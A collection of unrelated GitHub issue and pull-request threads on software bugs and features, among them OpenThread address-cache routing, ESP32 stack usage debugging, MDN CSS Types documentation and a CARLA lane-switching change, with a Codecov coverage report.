I've noticed a problem with frames not routed correctly to a SED. After some investigation I suspect that the messages are forwarded to an invalid router (not parent of the SED), because the cache errors are not detected or not corrected.
I'm attaching the script that more-less shows the real scenario I've used when I've found the problem.
It looks that after a router times-out a SED and it receives a frame with a mesh header destination address matching the router's address and IP destination address matching the SED, it shall detect EID-to-RLOC error and transmit an ICMP dest unreachable message. But no device in my test transmits such message. I suspect an issue in the implementation.

@hubertmis, thank you for raising this issue. I can help take a look at it soon.

@hubertmis, thank you again for raising this issue.
I have reviewed the script and the ping failure is expected. The OT CLI ping command only sends a single ICMP Echo Request packet. The ICMP Echo Request will go to the old / incorrect destination, the old parent will generate an ICMPv6 Error, and the EID-to-RLOC cache entry will be invalidated. As a result, dropping the initial packet sent to the old location is expected.
If I modify the test script to try sending the ICMPv6 Echo Request again after failure, the second ICMPv6 Echo Request will be properly routed and the ICMPv6 Echo Reply is received.
Thoughts?

@hubertmis would you please check whether #4282 could help?
During the execution of the script

Leader would have one cache entry <SED-EID, RLOC16(DUT_ROUTER)> after it pings SED, when SED attaches to DUT_ROUTER;
Such <SED-EID, RLOC16(DUT_ROUTER)> still exists when SED attaches to Leader. When DUT_ROUTER pings SED, when the reply is forwarded by Leader, it would wrongly update its EidCache to <SED-EID, RLOC16(SED-L)>
https://github.com/openthread/openthread/blob/master/src/core/thread/mesh_forwarder_ftd.cpp#L595
When SED attaches to PARENT, and Leader sends ping to SED, Leader would think the dest is resolved however this packet would be dropped as SED is not a valid neighbor
https://github.com/openthread/openthread/blob/master/src/core/thread/mesh_forwarder_ftd.cpp#L438
https://github.com/openthread/openthread/blob/master/src/core/thread/mesh_forwarder_ftd.cpp#L449

In #4282, Router would remove the eid-rloc-cache entry which matches the addresses registered by child. Thus the 'wrongly update' in 2) won't happen.

@librasungirl, thanks for looking into this. I agree that #4282 will help the scenarios where the SED can invalidate the EID-to-RLOC cache entry in any new parent it attaches to. This is a useful optimization that we should incorporate.
That said, I do not think #4282 will address all scenarios - there are still scenarios where at least one message is required to generate an ICMPv6 Error to invalidate EID-to-CACHE entry.

Another interesting phenomena noticed when testing with the modified script is:
Given the topology L-R1-R2-SED, SED attaches to R2 but somehow L has one deprecated Eid-To-RLOC cache <SED, RLOC16(R1)>.
Now L pings SED, this ping would be directed to R1 (without mesh header), and R1 would initiate Address Query, and finally the ping could be delivered to SED successfully.
Should we take it as some kind of error (generally R1 should send DstUnreachable?) or optimization? @jwhui

Thanks for reporting this observation! If the ICMPv6 Error is not getting generated, then I think there is a bug there. As for performing an Address Query when forwarding, I see this as a useful optimization because it avoids packet drops. I wonder if we should apply the same behavior to packets that were forwarded over multiple hops (i.e. with mesh header).

@jwhui , @librasungirl Thanks for looking into this. I'll try to play with the script a little more to reproduce the real-life bug I've experienced with EID-to-RLOC cache errors. I'll update the script and verify if #4282 helps if I reproduce the issue. If I couldn't reproduce, I'll just close this ticket.

Thanks @hubertmis, @librasungirl  for submitting and debugging this issue. This is indeed an interesting scenario.
We cover some of cache update scenarios from test-021-address-cache-table.py. I added a new toranj test-case covering the situation from this issue (submitted https://github.com/openthread/openthread/pull/4293). Without the fix (current master), we see the message is looped around between two routers (since each have an address cache entry pointing to the other one for the child's address). With the fix from https://github.com/openthread/openthread/pull/4282 the test does pass ok.

@hubertmis, any further updates on this issue now that #4282 is merged?

Resolved by #4282


Auto docs

Codecov Report
Base: 72.46% // Head: 72.36% // Decreases project coverage by -0.09% :warning:

Coverage data is based on head (9c08e52) compared to base (b355e25).
Patch coverage: 100.00% of modified lines in pull request are covered.

:exclamation: Current head 9c08e52 differs from pull request most recent head d3c4159. Consider uploading reports for the commit d3c4159 to get more accurate results

Additional details and impacted files
@@            Coverage Diff             @@
##             main      #72      +/-   ##
==========================================
- Coverage   72.46%   72.36%   -0.10%
==========================================
  Files          73       73
  Lines        5059     5059
  Branches     1038     1038
==========================================
- Hits         3666     3661       -5
- Misses       1052     1054       +2
- Partials      341      344       +3

Flag
Coverage Δ

unittests
72.36% <100.00%> (-0.04%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

meddlr/config/defaults.py
100.00% <100.00%> (ø)

meddlr/metrics/lpip.py
73.68% <0.00%> (-5.27%)
:arrow_down:

meddlr/metrics/functional/image.py
78.57% <0.00%> (-1.30%)
:arrow_down:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


strstr() and strnstr() stack overflow (IDFGH-4610)

Environment

Module or chip used:  ESP32-WROOM-32D
IDF version : v4.2-47-g2532ddd9f
Build System: idf.py
Compiler version: esp-2020r3 8.4.0
Operating System:  Linux
Using an IDE?: Yes, Netbeans
Power Supply: external 3.3V

Problem Description
In my app there is an AT command parser which uses string manipulation functions a lot. I've found that strstr() or strnstr() functions slowly eats free space from task stack (in chunks from 8 to 192 words per call, always multiple of 8), up to the point where free space goes to zero and whole app crashes. Unfortunately it doesn't happen every time - sometimes once for 10 consecutive calls of strstr/strnstr, sometimes once for 1000 calls.
I'am checking this with simple code:
ESP_LOGI(TAG,"task stack free: %d",uxTaskGetStackHighWaterMark(NULL));
sp = strnstr(buffer,"EVENT",len); //search for event message
ESP_LOGI(TAG,"task stack free: %d",uxTaskGetStackHighWaterMark(NULL));

And the result is for example:
(5441) rf: task stack free: 308
(5441) rf: task stack free: 292

Expected Behavior
Free space on task stack not changed after strstr() or strnstr() calls.
Code to reproduce this issue
Unfortunately I couldn't paste the whole code here, because I'm implementing proprietary protocol. Raw data are received from UART and then parsed. External ISM radio device sends AT-like commands.

@JakubRakus thanks for an interesting issue report!
On the ESP32, the strstr function in newlib is built with "optimize for code size" option enabled, so the logic is very simple: https://github.com/espressif/newlib-esp32/blob/78c7e93abd86181307ba9a050f43a353f8853e62/newlib/libc/string/strstr.c#L45-L76. There is no recursion or data-dependent stack usage, as you can see. strnstr and memmem are similar, you can find the implementations in the same directory.
In the code snippet you have posted,
ESP_LOGI(TAG,"task stack free: %d",uxTaskGetStackHighWaterMark(NULL));
sp = strnstr(buffer,"EVENT",len); //search for event message
ESP_LOGI(TAG,"task stack free: %d",uxTaskGetStackHighWaterMark(NULL));

most of the extra stack usage would come for logging, not from strnstr. Logging (which uses printf internally) can use up to 1k stack from the point where a logging function is called. To check if this is the case, you can try modifying the test as follows. It is possible that "task stack free 1" and "task stack free 2" will report different values.
ESP_LOGI(TAG,"task stack free 1: %d",uxTaskGetStackHighWaterMark(NULL));
ESP_LOGI(TAG,"task stack free 2: %d",uxTaskGetStackHighWaterMark(NULL));
sp = strnstr(buffer,"EVENT",len); //search for event message
ESP_LOGI(TAG,"task stack free 3: %d",uxTaskGetStackHighWaterMark(NULL));

Note that it is also important to interpret the output of uxTaskGetStackHighWaterMark correctly. In your example, the result 308 returned from uxTaskGetStackHighWaterMark doesn't mean that the stack pointer is 308 bytes above the lowest address of the stack. Rather, it means that there are 308 bytes on the stack that have never been used. Therefore, the decrease of uxTaskGetStackHighWaterMark value after some leaf function got called does not necessarily mean that this leaf function used more stack than it used last time. It might mean that the stack pointer was at a lower compared to the previous call. This means, that some other function in the call stack used more stack space, and the leaf function was simply pushed further down the stack.
In general, if you see the size reported by uxTaskGetStackHighWaterMark gradually being reduced, you can try a couple of things to debug this:

Enable CONFIG_FREERTOS_WATCHPOINT_END_OF_STACK Kconfig option. This will set a data breakpoint (watchpoint) near the lowest address of the stack, so that when the task stack reaches that address, a debug exception will occur. This will produce a backtrace which you can analyze.
A typical panic backtrace, decoded with IDF Monitor looks like this:
Backtrace: 0x400e14ed:0x3ffb5030 0x400d0802:0x3ffb5050
0x400e14ed: app_main at /Users/user/esp/example/main/main.cpp:36
0x400d0802: main_task at /Users/user/esp/esp-idf/components/esp32/cpu_start.c:470

The 2nd address in the pair (0x3ffb5030 and 0x3ffb5050 in this case) is the stack pointer value of each frame (frame pointer). In this case, you can subtract 0x3ffb5050-0x3ffb5030=0x20 and obtain that main_task function uses 32 bytes of stack. You can perform similar calculations for different functions in your app, and find the stack frame which uses unreasonable amount of stack.
You may also enable GDB Stub, it allows inspecting variables in different stack frames at the point when the exception happens.

Review the string handling code in your app and check that you aren't using variable-length arrays. Or, if you know you are using them, check that the length of the array is bounded, and is not growing.

@JakubRakus thanks for an interesting issue report!
On the ESP32, the strstr function in newlib is built with "optimize for code size" option enabled, so the logic is very simple: https://github.com/espressif/newlib-esp32/blob/78c7e93abd86181307ba9a050f43a353f8853e62/newlib/libc/string/strstr.c#L45-L76. There is no recursion or data-dependent stack usage, as you can see. strnstr and memmem are similar, you can find the implementations in the same directory.
In the code snippet you have posted,
ESP_LOGI(TAG,"task stack free: %d",uxTaskGetStackHighWaterMark(NULL));
sp = strnstr(buffer,"EVENT",len); //search for event message
ESP_LOGI(TAG,"task stack free: %d",uxTaskGetStackHighWaterMark(NULL));

most of the extra stack usage would come for logging, not from strnstr. Logging (which uses printf internally) can use up to 1k stack from the point where a logging function is called. To check if this is the case, you can try modifying the test as follows. It is possible that "task stack free 1" and "task stack free 2" will report different values.
ESP_LOGI(TAG,"task stack free 1: %d",uxTaskGetStackHighWaterMark(NULL));
ESP_LOGI(TAG,"task stack free 2: %d",uxTaskGetStackHighWaterMark(NULL));
sp = strnstr(buffer,"EVENT",len); //search for event message
ESP_LOGI(TAG,"task stack free 3: %d",uxTaskGetStackHighWaterMark(NULL));

Note that it is also important to interpret the output of uxTaskGetStackHighWaterMark correctly. In your example, the result 308 returned from uxTaskGetStackHighWaterMark doesn't mean that the stack pointer is 308 bytes above the lowest address of the stack. Rather, it means that there are 308 bytes on the stack that have never been used. Therefore, the decrease of uxTaskGetStackHighWaterMark value after some leaf function got called does not necessarily mean that this leaf function used more stack than it used last time. It might mean that the stack pointer was at a lower compared to the previous call. This means, that some other function in the call stack used more stack space, and the leaf function was simply pushed further down the stack.
In general, if you see the size reported by uxTaskGetStackHighWaterMark gradually being reduced, you can try a couple of things to debug this:

Enable CONFIG_FREERTOS_WATCHPOINT_END_OF_STACK Kconfig option. This will set a data breakpoint (watchpoint) near the lowest address of the stack, so that when the task stack reaches that address, a debug exception will occur. This will produce a backtrace which you can analyze.
A typical panic backtrace, decoded with IDF Monitor looks like this:
Backtrace: 0x400e14ed:0x3ffb5030 0x400d0802:0x3ffb5050
0x400e14ed: app_main at /Users/user/esp/example/main/main.cpp:36
0x400d0802: main_task at /Users/user/esp/esp-idf/components/esp32/cpu_start.c:470

The 2nd address in the pair (0x3ffb5030 and 0x3ffb5050 in this case) is the stack pointer value of each frame (frame pointer). In this case, you can subtract 0x3ffb5050-0x3ffb5030=0x20 and obtain that main_task function uses 32 bytes of stack. You can perform similar calculations for different functions in your app, and find the stack frame which uses unreasonable amount of stack.
You may also enable GDB Stub, it allows inspecting variables in different stack frames at the point when the exception happens.

Review the string handling code in your app and check that you aren't using variable-length arrays. Or, if you know you are using them, check that the length of the array is bounded, and is not growing.

@igrr  thank You very much for detailed explanations and suggestions how to debug the problem. I followed option 1 and from the panic backtrace I've found that bug sits in one of my string parsing functions which was invoked recursively. Rearranging the code to not use recursion solves the problem.


IDP-Client implementation is too strict on discovery document attributes

When consuming the IDP discovery document the client implementation cannot handle missing attributes  auth_pair_endpoint even though the attribute is not needed for auth.  This ends up in broken client initializtion.

We cannot reproduce your issue. Actually the idp-client should be able to work with a discovery document without the auth_pair_endpoint.
Could you please describe what exactly you are trying to do?


Your browser does not currently recognize any of the video formats - Live archive videos.

https://www.youtube.com/watch?v=0IyAcK5amKo

I get that error when I have the Flash plugin deactivated. Most Live streams on Youtube still use the Flash player.


Forgot password

Add a forgot password option

Instead of it taking you to a link, make it make another password for you and send it to you by email


https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Types

Request type

[ ] Please close this issue, I accidentally submitted it without adding any details
[ ] New documentation
[x] Correction or update

Details
Some data types  occurred in https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Types
do not occurred in https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Values_and_Units and https://www.w3.org/TR/css3-values
such as < basic-shape>< blend-mode>< filter-function>
I do not know why those data types occurred in this page
may be they are complex and need to open a new page to explain them
and then somebody referred their pages to this page
but what about those red links?they do not have their own page.
I suggest those complex data types(which not defined in www.w3.org/TR/css3-values) should be put into another group and an additional note is needed

@chrisdavidmills so the issue here is that some types are defined in their own spec, they aren't covered by Values and Units.
The referenced page is Types, so probably should cover all types (whether in Values and Units or elsewhere). However the specs it links to are only the Values and Units ones.
To further complicate matters we do have a Values and Units page which then links to a lot of the specs that define types. In addition to those in Values and Units. https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Values_and_Units
My proposal would be to make the Types page cover all types, perhaps breaking them down into where they are defined. Then make Values and Units cover Values and Units. I think that would sort the confusion.
@Mookiepiece the red links just mean that documentation hasn't been written for those yet.

It would be a hard work to collect all those Types, but less profit, we don't read them much. at least I know my guess is not wrong now, my suggestion is rewrite this page to an introduction instead of a reference table.

@chrisdavidmills I think there are other issues that relate to Types, eg:

https://github.com/mdn/sprints/issues/3243
https://github.com/mdn/sprints/issues/1128

So maybe I do as I've just done for selectors and tidy this up. I think I put together quite a lot of the Values and Units page, and that's actually an explanation of what all these are. So Types is probably more of a listing but maybe broken down into the various groupings with clarity as to which spec they are from.

Thanks Rachel, I think your proposal here is sound. I'm happy as long as we use a consistent approach (i.e. along the same lines of the work you recently did on the pseudos page), and consider usefulness to the reader as the top priority. I mention this last bit because the only slight concern I have here is claifying what spec different types are from. I think this is fine, as long as it doesn't take priority over or get in the way of logical functionality groupings, which I think will matter the most to our readers.

The Values and Units spec has logical groupings, and then a section for types defined elsewhere so I am following the same approach here: https://drafts.csswg.org/css-values-4/
The ones defined elsewhere are fairly well grouped anyway - images, color etc.

OK, fair enough.

@chrisdavidmills working on this locally as it's quite a list, but there are a number of these types listed in the index already and that aren't yet listed which we won't have a page for. Are we happy that these are just all red links or should I not xref anything that doesn't have a page? Some of them would benefit from a page if they are quite complex. Others the one line description I'm writing might be enough.

This is a good question. Our normal practice would be to have a separate page for everything, but I can understand that being overkill if the types only require a single line.
I'd perhaps do this:

For every type, include a name and a one line description, but don't link the name.
For simple ones only requiring one line, leave it at that
For complex ones that need a sepaate page, include an extra line "For more complete information, see our  page", and link "" to the separate page. Ones that have not yet been writen can just remain red for now.

@chrisdavidmills so I've refactored that Types page to remove the index and do a more useful listing of commonly used Types: https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Types There are more that could be added, but I've linked p all the ones we do have documented already. I think I wrote a few pages when I did the work on Values and Units a while back.

This is looking really good, thanks @rachelandrew . I've given it a bit of a copy edit. The only thing I'd like to see you do now is put in a link to the actual spec document wherever you include a spec name. After that, I think we can call this one done.

@chrisdavidmills I've just linked those specs up.

Perfect, I think we can close this one now?


Add file configuration resource

For the config of the configuration resource, have a mapping between keys and filenames. Resource looks up related filename according to key, and returns the contents of that file.

One comment about specifying reasons for error responses, otherwise looks good.

Ready for review again.

:+1:


add 'Contributing to documentation' page

In extension to #24, this page should read like a collection of how-to guides for contributing to documentation

This issue is blocked on #31, upon discovering I couldn't add relative links to permalinks


add SwitchLane, remove RemoveLane

Description
I find that the implementation of RemoveLane is a little rude. It just deletes a lane key from self._road_dict, so it’s hard to recover the lane and keep sourcing BA actors like before.
So I implement the SwitchLane(lane_id, active) for BA.
If active is False, it will destroy all actors on the lane and deactivate  the source instead of deleting the lane key.
If active is True, it will make the source active and reset the source waypoint. Because the source waypoint is still on the old location before the sourcing is deactivated, which may be too far from ego’s location currently.
Based on this, I add a recover step to HighwayExit scenario. It works well.

Fixes #
Replace RemoveLane with SwitchLane
Where has this been tested?

Platform(s): Ubuntu 20.04
Python version(s): 3.7
Unreal Engine version(s): 4.26
CARLA version: leaderboard-2.0 branch

Possible Drawbacks

This change is

Conflicts resolved


Fix missing logos

Closes #10

I decided to reduce the number of images preceding the cookbook since it felt cluttered. I also think that the HTML table I was trying to use to specify the image placement was causing issues.

@brian-rose Thanks for pointing that out. I just fixed those images too. We should be good to go!


Conda Yml file not present

Conda create without any config is useless. There is no config file for the conda environment.

Apologies for the inconvenience, and thank you for bringing this to my attention. I’ll ensure this is corrected in future updates.
As a temporary solution, you can use pip to install the packages listed in the conda configuration file. It’s possible that I manually added the dependencies instead of using conda to export the environment, which may have led to this issue.

ModuleNotFound error for Datasets module. Is it the huggingFace datasets module used inside the tools script or something else?

I did not use hugging face and I don’t think PyTorch used it. It might be an issues of indexing that your python did not find the dataset py file

dataset.py named file is nowhere in the current git push of the repository

Yes, there is no such a dataset.py file. Could you provide the exact issues message

okay that was error on my side. somehow the dataset folder was missing on my copy of the repo